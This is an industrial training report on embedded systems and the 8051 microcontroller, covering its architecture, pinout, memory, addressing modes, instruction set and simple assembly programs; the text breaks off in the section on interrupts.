Embedded Systems

Download as pdf or txt
Download as pdf or txt
You are on page 1of 143

INDUSTRIAL TRAINING REPORT

PART -A : EMBEDDED SYSTEM

CHAPTER 1-EMBEDDED SYSTEMS

1.0 INTRODUCTION
An embedded system is a combination of computer hardware and software designed for a specific function
or functions within a larger system. The systems can be programmable or with fixed functionality. Industrial
machines, consumer electronics, agricultural and process industry devices, automobiles, medical equipment,
cameras, household appliances, airplanes, vending machines and toys, as well as mobile devices, are
possible locations for an embedded system.
1.1 CHARACTERISTICS OF EMBEDDED SYSTEMS
The main characteristic of embedded systems is that they are task specific. They perform a single task within
a larger system. For example, a mobile phone is not an embedded system, it is a combination of embedded
systems that together allow it to perform a variety of general-purpose tasks. The embedded systems within it
perform specialized functions. For example, the GUI performs the singular function of allowing the user to
interface with the device. In short, they are programmable computers, but designed for specific purposes, not
general ones.

1.2 ADDITIONALLY, EMBEDDED SYSTEMS CAN INCLUDE THE FOLLOWING


CHARACTERISTICS:

• comprised of hardware, software and firmware;

• embedded in a larger system to perform a specific function as they are built for specialized tasks within
the system, not various tasks;

• either microprocessor-based or microcontroller-based -- both are integrated circuits that give the system
compute power;

• often used for sensing and real-time computing in internet of things (IoT) devices -- devices that are
internet-connected and do not require a user to operate;

• vary in complexity and in function, which affects the type of software, firmware and hardware they use;
and

• often required to perform their function under a time constraint to keep the larger system functioning
properly.

MIST-DECE 1
INDUSTRIAL TRAINING REPORT

1.3 EMBEDDED SYSTEMS VARY IN COMPLEXITY, BUT GENERALLY


CONSIST OF THREE MAIN ELEMENTS:

• Hardware. The hardware of embedded systems is based around microprocessors and microcontroller.
Microprocessors are very similar to microcontrollers, and generally refer to a CPU that is integrated with
other basic computing components such as memory chips and digital signal processors . Microcontrollers
have those components built into one chip.

• Software. Software for embedded systems can vary in complexity. However, industrial-grade
microcontrollers and embedded IoT systems generally run very simple software that requires little memory.

1.4 BASIC BLOCK DIAGRAM OF EMBEDDED SYSTEM:

Fig 1.0: Block Diagram Of Embedded System


1.5 APPLICATIONS OF EMBEDDED SYSTEMS
Embedded systems are used in a variety of technologies across industries. Some examples include:

• Automobiles. Modern cars commonly consist of many computers (sometimes as many as 100), or
embedded systems, designed to perform different tasks within the vehicle. Some of these systems perform
basic utility function and others provide entertainment or user-facing functions. Some embedded systems in

MIST-DECE 2
INDUSTRIAL TRAINING REPORT

consumer vehicles include cruise control, backup sensors, suspension control, navigation systems and airbag
systems.

• Mobile phones. These consist of many embedded systems, including GUI software and hardware,
operating systems, cameras, microphones and USB I/O modules.

• Industrial machines. They can contain embedded systems, like sensors, and can be embedded systems
themselves. Industrial machines often have embedded automation systems that perform specific monitoring
and control functions.

• Medical equipment. These may contain embedded systems like sensors and control mechanisms.
Medical equipment, such as industrial machines, also must be very user-friendly, so that human health isn't
jeopardized by preventable machine mistakes. This means they'll often include a more complex OS and GUI
designed for an appropriate UI.
1.6 ADVANTAGES OF EMBEDDED SYSTEMS

• The embedded system is easy for mass production.


• The embedded system is highly reliable.
• It has very few interconnections.
• The embedded system is small in size.
• The embedded system has less expensive.
• It has fast operation.
• It has improved product quality.
• It optimizes use of system resources.
• It has low power operation.
1.7 DISADVANTAGES OF EMBEDDED SYSTEMS

• The embedded systems are hard for maintenance as it is use and throw device.
• It has no technological improvement.
• Less power supply durability if it is battery operated.
• It has hard to take backup of embedded files

MIST-DECE 3
INDUSTRIAL TRAINING REPORT

CHAPTER-2. MICROCONTROLLERS

2.1 MICROPROCESSORS AND MICROCONTROLLERS


Microprocessor Microcontroller

Microcontroller contains the circuitry of


Microprocessor contains ALU, General
microprocessor, and in addition it has built in
purpose registers, stack pointer, program
ROM, RAM, I/O Devices, Timers/Counters
counter, clock timing circuit, interrupt circuit
etc.
It has many instructions to move data It has few instructions to move data
between memory and CPU between memory and CPU
Few bit handling instruction It has many bit handling instructions
Less number of pins are More number of pins are
multifunctional multifunctional
Single memory map for data and Separate memory map for data and
code (program) code (program)
Access time for memory and IO are Less access time for built in memory
more and IO.
Microprocessor based system It requires less additional hardwares
requires additional hardware
More flexible in the design point of Less flexible since the additional
view circuits which is residing inside the
microcontroller is fixed for a particular
microcontroller
Large number of instructions with Limited number of instructions with
flexible addressing modes few addressing modes

2.2 RISC AND CISC CPU ARCHITECTURES


Microcontrollers with small instruction set are called reduced instruction set computer (RISC) machines and
those with complex instruction set are called complex instruction set computer (CISC). Intel 8051 is an
example of CISC machine whereas microchip PIC 18F87X is an example of RISC machine.

RISC CISC

MIST-DECE 4
INDUSTRIAL TRAINING REPORT

Only load/store instructions are used In additions to load and store


to access memory instructions, memory access is
possible with other instructions also.

Instructions executed by the micro


Instructions executed by hardware
program

Fixed format instruction Variable format instructions

Few addressing modes Many addressing modes

Few instructions Complex instruction set

Most of the have multiple register


Single register bank
banks

Highly pipelined Less pipelined

Complexity is in the compiler Complexity in the microprogram

2.3 HARVARD & VON- NEUMANN CPU ARCHITECTURE

Von-Neumann (Princeton
Harvard architecture
architecture)

It uses single memory space for both It has separate program memory and
instructions and data. data memory

It is not possible to fetch instruction Instruction code and data can be


code and data fetched simultaneously

Execution of instruction takes more Execution of instruction takes less


machine cycle machine cycle

Uses CISC architecture Uses RISC architecture

Instruction pre-fetching is a main Instruction parallelism is a main


feature feature

Also known as control flow or Also known as data flow or data


control driven computers driven computers

MIST-DECE 5
INDUSTRIAL TRAINING REPORT

Simplifies the chip design because of Chip design is complex due to


single memory space separate memory space

Eg. 8085, 8086, MC6800 Eg. General purpose


microcontrollers, special DSP chips
etc.

2.4 COMPUTER SOFTWARE


A set of instructions written in a specific sequence for the computer to solve a specific task is called a
program and software is a collection of such programs.

The program stored in the computer memory in the form of binary numbers is called machine instructions.
The machine language program is called object code.

An assembly language is a mnemonic representation of machine language. Machine language and assembly
language are low level languages and are processor specific.

The assembly language program the programmer enters is called source code. The source code (assembly
language) is translated to object code (machine language) using assembler.

Programs can be written in high level languages such as C, C++ etc. High level language will be converted
to machine language using compiler or interpreter. Compiler reads the entire program and translate into the
object code and then it is executed by the processor. Interpreter takes one statement of the high level
language as input and translate it into object code and then executes.

2.5 THE 8051 ARCHITECTURE

Introduction

Salient features of 8051 microcontroller are given below.


• Eight bit CPU
• On chip clock oscillator
• 4Kbytes of internal program memory (code memory) [ROM]
• 128 bytes of internal data memory [RAM]
• 64 Kbytes of external program memory address space.
• 64 Kbytes of external data memory address space.
• 32 bi directional I/O lines (can be used as four 8 bit ports or 32 individually addressable I/O lines)

MIST-DECE 6
INDUSTRIAL TRAINING REPORT

• Two 16 Bit Timer/Counter :T0, T1


• Full Duplex serial data receiver/transmitter Four Register banks with 8 registers in each
bank.
• Sixteen bit Program counter (PC) and a data pointer (DPTR)
• 8 Bit Program Status Word (PSW)
• 8 Bit Stack Pointer
• Five vector interrupt structure (RESET not considered as an interrupt.)
• 8051 CPU consists of 8 bit ALU with associated registers like accumulator ‘A’ , B register, PSW,
SP, 16 bit program counter, stack pointer.
• ALU can perform arithmetic and logic functions on 8 bit variables.
• 8051 has 128 bytes of internal RAM which is divided into o Working registers [00 – 1F] o Bit
addressable memory area [20 – 2F] o General purpose memory area (Scratch pad memory) [30-7F]

2.6 The 8051 architecture.

Fig 2.0: 8051 Architure

8051 has 4 K Bytes of internal ROM. The address space is from 0000 to 0FFFh. If the program size is more
than 4 K Bytes 8051 will fetch the code automatically from external memory.
Accumulator is an 8 bit register widely used for all arithmetic and logical operations. Accumulator is also
used to transfer data between external memory. B register is used along with Accumulator for multiplication
and division. A and B registers together is also called MATH registers.
PSW (Program Status Word). This is an 8 bit register which contains the arithmetic status of ALU and the
bank select bits of register banks.
CY - carry flag
AC - auxiliary carry flag

MIST-DECE 7
INDUSTRIAL TRAINING REPORT

F0 - available to the user for general purpose


RS1,RS0 - register bank select bits
OV - overflow
P - parity
Stack Pointer (SP) – it contains the address of the data item on the top of the stack. Stack may reside
anywhere on the internal RAM. On reset, SP is initialized to 07 so that the default stack will start from
address 08 onwards.
Data Pointer (DPTR) – DPH (Data pointer higher byte), DPL (Data pointer lower byte). This is a 16 bit
register which is used to furnish address information for internal and external program memory and for
external data memory.
Program Counter (PC) – 16 bit PC contains the address of next instruction to be executed. On reset PC will
set to 0000. After fetching every instruction PC will increment by one.

2.7 PIN DIAGRAM

PINOUT DESCRIPTION

Pins 1- PORT 1. Each of these pins can be configured as


8 an input or an output.

Pin 9 RESET. A logic one on this pin disables the


microcontroller and clears the contents of most registers.
In other words, the positive voltage on this pin resets the
microcontroller. By applying logic zero to this pin, the
program starts execution from the beginning.

Pins10- PORT 3. Similar to port 1, each of these pins can


17 serve as general input or output. Besides, all of them
have alternative functions

MIST-DECE 8
INDUSTRIAL TRAINING REPORT

Pin 10 RXD. Serial asynchronous communication input or


Serial synchronous communication output.

Pin 11 TXD. Serial asynchronous communication


output or Serial synchronous
communication clock output.

Pin 12 INT0.External Interrupt 0 input

Pin 13 INT1. External Interrupt 1 input

Pin 14 T0. Counter 0 clock input

Pin 15 T1. Counter 1 clock input

Pin 16 WR. Write to external (additional) RAM

Pin 17 RD. Read from external RAM

Pin 18, XTAL2, XTAL1. Internal oscillator input and


19 output. A quartz crystal which specifies operating
frequency is usually connected to these pins.

Pin 20 GND. Ground.

Pin 21- Port 2. If there is no intention to use external memory


28 then these port pins are configured as general
inputs/outputs. In case external memory is used, the
higher address byte, i.e. addresses A8-A15 will appear on
this port. Even though memory with capacity of 64Kb is
not used, which means that not all eight port bits are used
for its addressing, the rest of them are not available as
inputs/outputs.

Pin 29 PSEN. If external ROM is used for storing program


then a logic zero (0) appears on it every time the
microcontroller reads a byte from memory.

Pin 30 ALE. Prior to reading from external memory, the


microcontroller puts the lower address byte (A0-A7) on
P0 and activates the ALE output. After receiving signal
from the ALE pin, the external latch latches the state of
P0 and uses it as a memory chip address. Immediately

MIST-DECE 9
INDUSTRIAL TRAINING REPORT

after that, the ALE pin is returned its previous logic state
and P0 is now used as a Data Bus.

Pin 31 EA. By applying logic zero to this pin, P2 and P3 are used
for data and address transmission with no regard to
whether there is internal memory or not. It means that
even there is a program written to the microcontroller, it
will not be executed. Instead, the program written to
external ROM will be executed. By applying logic one to
the EA pin, the microcontroller will use both memories,
first internal then external (if exists).

Pin 32- PORT 0. Similar to P2, if external memory is not used,


39 these pins can be used as general inputs/outputs.
Otherwise, P0 is configured as address output (A0-A7)
when the ALE pin is driven high (1) or as data output
(Data Bus) when the ALE pin is driven low (0).

Pin 40 VCC. +5V power supply.

2.8 MEMORY ORGANIZATION


Register Banks: 00h to 1Fh. The 8051 uses 8 general-purpose registers R0 through R7 (R0, R1, R2, R3, R4,
R5, R6, and R7). There are four such register banks. Selection of register bank can be done through
RS1,RS0 bits of PSW. On reset, the default Register Bank 0 will be selected.

Bit Addressable RAM: 20h to 2Fh. The 8051 supports a special feature which allows access to bit variables.
This is where individual memory bits in Internal RAM can be set or cleared. In all there are 128 bits
numbered 00h to 7Fh. Being bit variables any one variable can have a value 0 or 1. A bit variable can be set
with a command such as SETB and cleared with a command such as CLR.
Example instructions are:
SETB 25h; sets the bit 25h (becomes 1)
CLR 25h; clears bit 25h (becomes 0)
Note, bit 25h is actually bit 5 of Internal RAM location 24h.
The Bit Addressable area of the RAM is just 16 bytes of Internal RAM located between 20h and 2Fh.

MIST-DECE 10
INDUSTRIAL TRAINING REPORT

General Purpose RAM: 30h to 7Fh. Even if 80 bytes of Internal RAM memory are available for general-
purpose data storage, user should take care while using the memory location from 00 -2Fh since these
locations are also the default register space, stack space, and bit addressable space. It is a good practice to
use general purpose memory from 30 – 7Fh. The general purpose RAM can be accessed using direct or
indirect addressing modes.

2.9 STACK
A stack is a last in first out memory. In 8051 internal RAM space can be used as stack. The address of the
stack is contained in a register called stack pointer. Instructions PUSH and POP are used for stack
operations.

MIST-DECE 11
INDUSTRIAL TRAINING REPORT

CHAPTER-3. INSTRUCTION SYNTAX

General syntax for 8051 assembly language is as follows.

3.0 LABEL: OPCODE OPERAND; COMMENT

LABEL: (THIS IS NOT NECESSARY UNLESS THAT SPECIFIC LINE HAS TO BE ADDRESSED).
The label is a symbolic address for the instruction. When the program is assembled, the label will be given
specific address in which that instruction is stored. Unless that specific line of instruction is needed by a
branching instruction in the program, it is not necessary to label that line.
OPCODE: Opcode is the symbolic representation of the operation. The assembler converts the opcode to a
unique binary code (machine language).
OPERAND: While opcode specifies what operation to perform, operand specifies where to perform that
action. The operand field generally contains the source and destination of the data. In some cases only source
or destination will be available instead of both. The operand will be either address of the data, or data itself.
COMMENT: Always comment will begin with ; or // symbol. To improve the program quality, programmer
may always use comments in the program.

3.1 ADDRESSING MODES


Various methods of accessing the data are called addressing modes.

8051 addressing modes are classified as follows.

• Immediate addressing.
• Register addressing.
• Direct addressing.
• Indirect addressing.
• Relative addressing.
• Absolute addressing.
• Long addressing.
• Indexed addressing.
• Bit inherent addressing.
• Bit direct addressing.
Immediate addressing.

MIST-DECE 12
INDUSTRIAL TRAINING REPORT

In this addressing mode the data is provided as a part of instruction itself. In other words data immediately
follows the instruction.
Eg. MOV A,#30H
ADD A, #83 # Symbol indicates the data is immediate.

Register addressing.
In this addressing mode the register will hold the data. One of the eight general registers (R0 to R7) can be
used and specified as the operand.
Eg. MOV A,R0
ADD A,R6
R0 – R7 will be selected from the current selection of register bank. The default register bank will be bank 0.

Direct addressing
There are two ways to access the internal memory. Using direct address and indirect address. Using direct
addressing mode we can not only address the internal memory but SFRs also. In direct addressing, an 8 bit
internal data memory address is specified as part of the instruction and hence, it can specify the address only
in the range of 00H to FFH. In this addressing mode, data is obtained directly from the memory.
Eg. MOV A,60h
ADD A,30h
Indirect addressing
The indirect addressing mode uses a register to hold the actual address that will be used in data movement.
Registers R0 and R1 and DPTR are the only registers that can be used as data pointers. Indirect addressing
cannot be used to refer to SFR registers. Both R0 and R1 can hold 8 bit address and DPTR can hold 16 bit
address.
Eg. MOV A,@R0
ADD A,@R1 MOVX A,@DPTR
Indexed addressing.
In indexed addressing, either the program counter (PC), or the data pointer (DTPR)—is used to hold the base
address, and the A is used to hold the offset address. Adding the value of the base address to the value of the
offset address forms the effective address. Indexed addressing is used with JMP or MOVC instructions.
Look up tables are easily implemented with the help of index addressing.
MOVC A, @A+DPTR // copies the contents of memory location pointed by the sum of the
accumulator A and the DPTR into accumulator A.
MOVC A, @A+PC // copies the contents of memory location pointed by the sum of the accumulator A
and the program counter into accumulator A.

MIST-DECE 13
INDUSTRIAL TRAINING REPORT

Relative Addressing.
Relative addressing is used only with conditional jump instructions. The relative address, (offset), is an 8 bit
signed number, which is automatically added to the PC to make the address of the next instruction. The 8 bit
signed offset value gives an address range of +127 to —128 locations. The jump destination is usually
specified using a label and the assembler calculates the jump offset accordingly. The advantage of relative
addressing is that the program code is easy to relocate and the address is relative to position in the memory.
Eg. SJMP LOOP1
JC BACK
Absolute addressing
Absolute addressing is used only by the AJMP (Absolute Jump) and ACALL (Absolute Call) instructions.
These are 2 bytes instructions. The absolute addressing mode specifies the lowest 11 bit of the memory
address as part of the instruction. The upper 5 bit of the destination address are the upper 5 bit of the current
program counter. Hence, absolute addressing allows branching only within the current 2 Kbyte page of the
program memory.
Eg. AJMP LOOP1
ACALL LOOP2

Long Addressing
The long addressing mode is used with the instructions LJMP and LCALL. These are 3 byte instructions.
The address specifies a full 16 bit destination address so that a jump or a call can be made to a location
within a 64 Kbyte code memory space.
Eg. LJMP FINISH
LCALL DELAY

Bit Inherent Addressing


In this addressing, the address of the flag which contains the operand, is implied in the opcode of the
instruction.
Eg. CLR C ; Clears the carry flag to 0

Bit Direct Addressing


In this addressing mode the direct address of the bit is specified in the instruction. The RAM space 20H to
2FH and most of the special function registers are bit addressable. Bit address values are between 00H to
7FH.

MIST-DECE 14
INDUSTRIAL TRAINING REPORT

Eg. CLR 07h ; Clears the bit 7 of 20h RAM space SETB 07H ; Sets the bit 7 of
20H RAM space.

3.2 INSTRUCTION SET.


Instruction Timings
The 8051 internal operations and external read/write operations are controlled by the oscillator clock.
T-state, Machine cycle and Instruction cycle are terms used in instruction timings.
T-state is defined as one subdivision of the operation performed in one clock period. The terms 'Tstate' and
'clock period' are often used synonymously.
Machine cycle is defined as 12 oscillator periods. A machine cycle consists of six states and each state lasts
for two oscillator periods. An instruction takes one to four machine cycles to execute an instruction.
Instruction cycle is defined as the time required for completing the execution of an instruction. The 8051
instruction cycle consists of one to four machine cycles.
Eg. If 8051 microcontroller is operated with 12 MHz oscillator, find the execution time for the following
four instructions.
• ADD A, 45H
• SUBB A, #55H
• MOV DPTR, #2000H
• MUL AB
Since the oscillator frequency is 12 MHz, the clock period is, Clock period = 1/12 MHz = 0.08333 µS.
Time for 1 machine cycle = 0.08333 µS x 12 =1 µS.
Instruction No. of machine cycles Execution time
• ADD A, 45H 1 1 µs
• SUBB A, #55H 2 2 µs
• MOV DPTR, #2000H 2 2 µs
• MUL AB 4 4 µs

8051 Instructions
The instructions of 8051 can be broadly classified under the following headings.
• Data transfer instructions
• Arithmetic instructions
• Logical instructions
• Branch instructions
• Subroutine instructions
• Bit manipulation instructions

MIST-DECE 15
INDUSTRIAL TRAINING REPORT

Data transfer instructions.


In this group, the instructions perform data transfer operations of the following types.
• Move the contents of a register Rn to A
MOV A,R2
MOV A,R7

• Move the contents of a register A to Rn


MOV R4,A

MOV R1,A

• Move an immediate 8 bit data to register A or to Rn or to a memory location(direct or indirect)


MOV A, #45H MOV @R0, #0E8H
MOV R6, #51H MOV DPTR, #0F5A2H
MOV 30H, #44H MOV DPTR, #5467H

• Move the contents of a memory location to A or A to a memory location using direct and indirect
addressing
MOV A, 65H MOV 45H, A
MOV A, @R0 MOV @R1, A

• Move the contents of a memory location to Rn or Rn to a memory location using direct addressing
MOV R3, 65H ii. MOV 45H, R2

• Move the contents of memory location to another memory location using direct and indirect
addressing
MOV 47H, 65H
MOV 45H, @R0

• Move the contents of an external memory to A or A to an external memory


MOVX A,@R1 MOVX A,@DPTR
MOVX @R0,A MOVX@DPTR,A

Move the contents of program memory to A


MOVC A, @A+PC MOVC A, @A+DPTR

MIST-DECE 16
INDUSTRIAL TRAINING REPORT

Fig no 3.0: Transferring Data Between Internal And External ROM

3.3 PUSH AND POP INSTRUCTIONS


Exchange instructions
The content of source ie., register, direct memory or indirect memory will be exchanged with the contents of
destination ie., accumulator.
• XCH A,R3
• XCH A,@R1
• XCH A,54h

Exchange digit. Exchange the lower order nibble of Accumulator (A0-A3) with lower order nibble of the
internal RAM location which is indirectly addressed by the register. i. XCHD A,@R1 ii. XCHD A,@R0

Arithmetic instructions.
The 8051 can perform addition, subtraction. Multiplication and division operations on 8 bit numbers.

Addition
In this group, we have instructions to
• Add the contents of A with immediate data with or without carry.
• ADD A, #45H
• ADDC A, #OB4H
• Add the contents of A with register Rn with or without carry.
• ADD A, R5
• ADDC A, R2
• Add the contents of A with contents of memory with or without carry using direct and indirect
addressing

MIST-DECE 17
INDUSTRIAL TRAINING REPORT

• ADDC A, 75H
• ADD A, @R1
• ADDC A, @R0

CY AC and OV flags will be affected by this operation.

Subtraction
In this group, we have instructions to
• Subtract the contents of A with immediate data with or without carry.
i. SUBB A, #45H
ii. SUBB A, #OB4H
• Subtract the contents of A with register Rn with or without carry.
i. SUBB A, R5 ii. SUBB A, R2
• Subtract the contents of A with contents of memory with or without carry using direct and indirect
addressing
i. SUBB A, 51H ii. SUBB A, 75H
iii. SUBB A, @R1 iv. SUBB A, @R0

CY AC and OV flags will be affected by this operation.

Multiplication
MUL AB. This instruction multiplies two 8 bit unsigned numbers which are stored in A and B register.
After multiplication the lower byte of the result will be stored in accumulator and higher byte of result will
be stored in B register.

Division
DIV AB. This instruction divides the 8 bit unsigned number which is stored in A by the 8 bit unsigned
number which is stored in B register. After division the result will be stored in accumulator and remainder
will be stored in B register.

DA A (Decimal Adjust After Addition).


When two BCD numbers are added, the answer is a non-BCD number. To get the result in BCD, we use DA
A instruction after the addition. DA A works as follows.
• If lower nibble is greater than 9 or auxiliary carry is 1, 6 is added to lower nibble.
• If upper nibble is greater than 9 or carry is 1, 6 is added to upper nibble.

MIST-DECE 18
INDUSTRIAL TRAINING REPORT

Increment: increments the operand by one.

INC A INC Rn INC DIRECT INC @Ri INC DPTR

INC increments the value of source by 1. If the initial value of register is FFh, incrementing the value will
cause it to reset to 0. The Carry Flag is not set when the value "rolls over" from 255 to 0.

In the case of "INC DPTR", the value two-byte unsigned integer value of DPTR is incremented. If the initial
value of DPTR is FFFFh, incrementing the value will cause it to reset to 0.

Decrement: decrements the operand by one.


DEC A DEC Rn DEC DIRECT DEC @Ri
DEC decrements the value of source by 1. If the initial value of is 0, decrementing the value will cause it to
reset to FFh. The Carry Flag is not set when the value “rolls over” from 0 to FFh.

3.4 LOGICAL INSTRUCTIONS

Logical AND
ANL destination, source: ANL does a bitwise “AND” operation between source and destination, leaving the
resulting value in destination. The value in source is not affected. “AND” instruction logically AND the bits
of source and destination.
Logical OR
ORL destination, source: ORL does a bitwise “OR” operation between source and destination,
leaving the resulting value in destination. The value in source is not affected. “ OR “ instruction logically
OR the bits of source and destination.
Logical Ex-OR
XRL destination, source: XRL does a bitwise “EX-OR” operation between source and destination,
leaving the resulting value in destination. The value in source is not affected. “ XRL “ instruction logically
EX-OR the bits of source and destination.
Logical NOT
CPL complements operand, leaving the result in operand. If operand is a single bit then the state of the bit
will be reversed. If operand is the Accumulator then all the bits in the Accumulator will be reversed.
CPL A, CPL C, CPL bit address
SWAP A – Swap the upper nibble and lower nibble of A.

MIST-DECE 19
INDUSTRIAL TRAINING REPORT

ROTATE INSTRUCTIONS
RR A
This instruction is rotate right the accumulator. Its operation is illustrated below. Each bit is shifted one
location to the right, with bit 0 going to bit 7.

Fig no 3.1
RL A
Rotate left the accumulator. Each bit is shifted one location to the left, with bit 7 going to bit 0

Fig no 3.2
RRC A
Rotate right through the carry. Each bit is shifted one location to the right, with bit 0 going into the carry bit
in the PSW, while the carry was at goes into bit 7

Fig no 3.3
RLC A
Rotate left through the carry. Each bit is shifted one location to the left, with bit 7 going into the carry bit in
the PSW, while the carry goes into bit 0.

Fig no 3.4
3.5 BRANCH (JUMP) INSTRUCTIONS
Jump and Call Program Range
There are 3 types of jump instructions. They are
• Relative Jump
• Short Absolute Jump
• Long Absolute Jump

MIST-DECE 20
INDUSTRIAL TRAINING REPORT

Relative Jump
Jump that replaces the PC (program counter) content with a new address that is greater than (the address
following the jump instruction by 127 or less) or less than (the address following the jump by 128 or less) is
called a relative jump. Schematically, the relative jump can be shown as follows:

Fig no 3.5: Relative Jump


The advantages of the relative jump are as follows:-
• Only 1 byte of jump address needs to be specified in the 2's complement form, ie. For jumping ahead,
the range is 0 to 127 and for jumping back, the range is -1 to -128.
• Specifying only one byte reduces the size of the instruction and speeds up program execution.
• The program with relative jumps can be relocated without reassembling to generate absolute jump
addresses.
Disadvantages of the absolute jump: -
1. Short jump range (-128 to 127 from the instruction following the jump instruction)
Instructions that use Relative Jump
SJMP <relative address>; this is unconditional jump
The remaining relative jumps are conditional jumps
JC <relative address>
JNC <relative address>
JB bit, <relative address>
JNB bit, <relative address>
JBC bit, <relative address>
CJNE <destination byte>, <source byte>, <relative address>
DJNZ <byte>, <relative address>
JZ <relative address>
JNZ <relative address>

Short Absolute Jump


In this case only 11bits of the absolute jump address are needed. The absolute jump address is calculated in
the following manner.

MIST-DECE 21
INDUSTRIAL TRAINING REPORT

In 8051, 64 kbyte of program memory space is divided into 32 pages of 2 kbyte each. The hexadecimal
addresses of the pages are given as follows:-
It can be seen that the upper 5bits of the program counter (PC) hold the page number and the lower 11bits of
the PC hold the address within that page. Thus, an absolute address is formed by taking page numbers of the
instruction (from the program counter) following the jump and attaching the specified 11bits to it to form the
16-bit address.
Advantage: The instruction length becomes 2 bytes.
Example of short absolute jump: -
ACALL <address 11>
AJMP <address 11>

Long Absolute Jump/Call


Applications that need to access the entire program memory from 0000H to FFFFH use long absolute jump.
Since the absolute address has to be specified in the op-code, the instruction length is 3 bytes (except for
JMP @ A+DPTR). This jump is not re-locatable.
Example: -
LCALL <address 16>
LJMP <address 16>
JMP @A+DPTR

Another classification of jump instructions is


• Unconditional Jump
• Conditional Jump
• The unconditional jump is a jump in which control is transferred unconditionally to the target
location.
• LJMP (long jump). This is a 3-byte instruction. First byte is the op-code and second and third bytes
represent the 16-bit target address which is any memory location from 0000 to FFFFH eg: LJMP 3000H
• AJMP: this causes unconditional branch to the indicated address, by loading the 11 bit address to 0 -
10 bits of the program counter. The destination must be therefore within the same 2K blocks.
• SJMP (short jump). This is a 2-byte instruction. First byte is the op-code and second byte is the
relative target address, 00 to FFH (forward +127 and backward -128 bytes from the current PC value). To
calculate the target address of a short jump, the second byte is added to the PC value which is address of the
instruction immediately below the jump.

• Conditional Jump instructions.

MIST-DECE 22
INDUSTRIAL TRAINING REPORT

JBC Jump if bit = 1 and clear bit

JNB Jump if bit = 0

JB Jump if bit = 1

JNC Jump if CY = 0

JC Jump if CY = 1
CJNE reg,#data Jump if byte ≠ #data
CJNE A,byte Jump if A ≠ byte
DJNZ Decrement and Jump if A ≠ 0
JNZ Jump if A ≠ 0
JZ Jump if A = 0

All conditional jumps are short jumps.

Bit level jump instructions:


Bit level JUMP instructions will check the conditions of the bit and if condition is true, it jumps to the
address specified in the instruction. All the bit jumps are relative jumps.
JB bit, rel ; jump if the direct bit is set to the relative address specified.
JNB bit, rel ; jump if the direct bit is clear to the relative address specified.
JBC bit, rel ; jump if the direct bit is set to the relative address specified and then clear the bit.

3.6 Subroutine CALL And RETURN Instructions

Subroutines are handled by CALL and RET instructions


There are two types of CALL instructions
• LCALL address(16 bit)
This is long call instruction which unconditionally calls the subroutine located at the indicated 16 bit
address. This is a 3 byte instruction. The LCALL instruction works as follows.
• During execution of LCALL, [PC] = [PC]+3; (if address where LCALL resides is say, 0x3254;
during execution of this instruction [PC] = 3254h + 3h = 3257h
• [SP]=[SP]+1; (if SP contains default value 07, then SP increments and [SP]=08
• [[SP]] = [PC7-0]; (lower byte of PC content ie., 57 will be stored in memory location 08.
• [SP]=[SP]+1; (SP increments again and [SP]=09)
• [[SP]] = [PC15-8]; (higher byte of PC content ie., 32 will be stored in memory location 09.

MIST-DECE 23
INDUSTRIAL TRAINING REPORT

• [PC]= address (16 bit); the new address of subroutine is loaded to PC. No flags are affected.

• ACALL address(11 bit)


This is absolute call instruction which unconditionally calls the subroutine located at the indicated 11 bit
address. This is a 2 byte instruction. The SCALL instruction works as follows.
• During execution of SCALL, [PC] = [PC]+2; (if address where LCALL resides is say, 0x8549;
during execution of this instruction [PC] = 8549h + 2h = 854Bh
• [SP]=[SP]+1; (if SP contains default value 07, then SP increments and [SP]=08
• [[SP]] = [PC7-0]; (lower byte of PC content ie., 4B will be stored in memory location 08.
• [SP]=[SP]+1; (SP increments again and [SP]=09)
• [[SP]] = [PC15-8]; (higher byte of PC content ie., 85 will be stored in memory location 09.
• [PC10-0]= address (11 bit); the new address of subroutine is loaded to PC. No flags are affected.

• RET instruction
RET instruction pops top two contents from the stack and load it to PC.
• [PC15-8] = [[SP]] ;content of current top of the stack will be moved to higher byte of PC. h.
[SP]=[SP]-1; (SP decrements)
• [PC7-0] = [[SP]] ;content of bottom of the stack will be moved to lower byte of PC.
• [SP]=[SP]-1; (SP decrements again)

3.7 BIT MANIPULATION INSTRUCTIONS.

8051 has 128 bit addressable memory. Bit addressable SFRs and bit addressable PORT pins. It is possible to
perform following bit wise operations for these bit addressable locations.
• LOGICAL AND

• ANL C,BIT(BIT ADDRESS)

• ANL C, /BIT;
• LOGICAL OR

• ORL C,BIT(BIT ADDRESS) ; ‘LOGICALLY OR’ CARRY AND CONTENT OF BIT


ADDRESS, STORE RESULT IN CARRY

• ORL C, /BIT; ; ‘LOGICALLY OR’ CARRY AND COMPLEMENT OF CONTENT OF BIT


ADDRESS, STORE RESULT IN CARRY

MIST-DECE 24
INDUSTRIAL TRAINING REPORT

• CLR bit
• CLR bit .

• CLR C
• CPL bit
• CPL bit .

• CPL C
• COMPLEMENTED.

3.8 ASSEMBLY LANGUAGE PROGRAMS.


• Write a program to add the values of locations 50H and 51H and store the result in locations in 52h
and 53H.

ORG 0000H ; Set program counter 0000H


MOV A,50H ; Load the contents of Memory location 50H into A ADD ADD A,51H
; Add the contents of memory 51H with CONTENTS A MOV 52H,A ; Save the LS byte
of the result in 52H
MOV A, #00 ; Load 00H into A
ADDC A, #00 ; Add the immediate data and carry to A
MOV 53H,A ; Save the MS byte of the result in location 53h
END

• Write a program to store data FFH into RAM memory locations 50H to 58H using direct addressing
mode

ORG 0000H ; Set program counter 0000H


MOV A, #0FFH ; Load FFH into A
MOV 50H, A ; Store contents of A in location 50H
MOV 51H, A ; Store contents of A in location 5IH
MOV 52H, A ; Store contents of A in location 52H
MOV 53H, A ; Store contents of A in location 53H
MOV 54H, A ; Store contents of A in location 54H
MOV 55H, A ; Store contents of A in location 55H
MOV 56H, A ; Store contents of A in location 56H

MIST-DECE 25
INDUSTRIAL TRAINING REPORT

MOV 57H, A ; Store contents of A in location 57H


MOV 58H, A ; Store contents of A in location 58H
END

3.9 BASICS OF INTERRUPTS.


During program execution if peripheral devices needs service from microcontroller, device will generate
interrupt and gets the service from microcontroller. When peripheral device activate the interrupt signal, the
processor branches to a program called interrupt service routine. After executing the interrupt service routine
the processor returns to the main program.

Steps taken by processor while processing an interrupt:

• It completes the execution of the current instruction.


• PSW is pushed to stack.
• PC content is pushed to stack.
• Interrupt flag is reset.
• PC is loaded with ISR address.

ISR will always ends with RETI instruction. The execution of RETI instruction results in the following.

• POP the current stack top to the PC.


• POP the current stack top to PSW.

• External and internal interrupts.


External interrupts are those initiated by peripheral devices through the external pins of the microcontroller.
Internal interrupts are those activated by the internal peripherals of the microcontroller like timers, serial
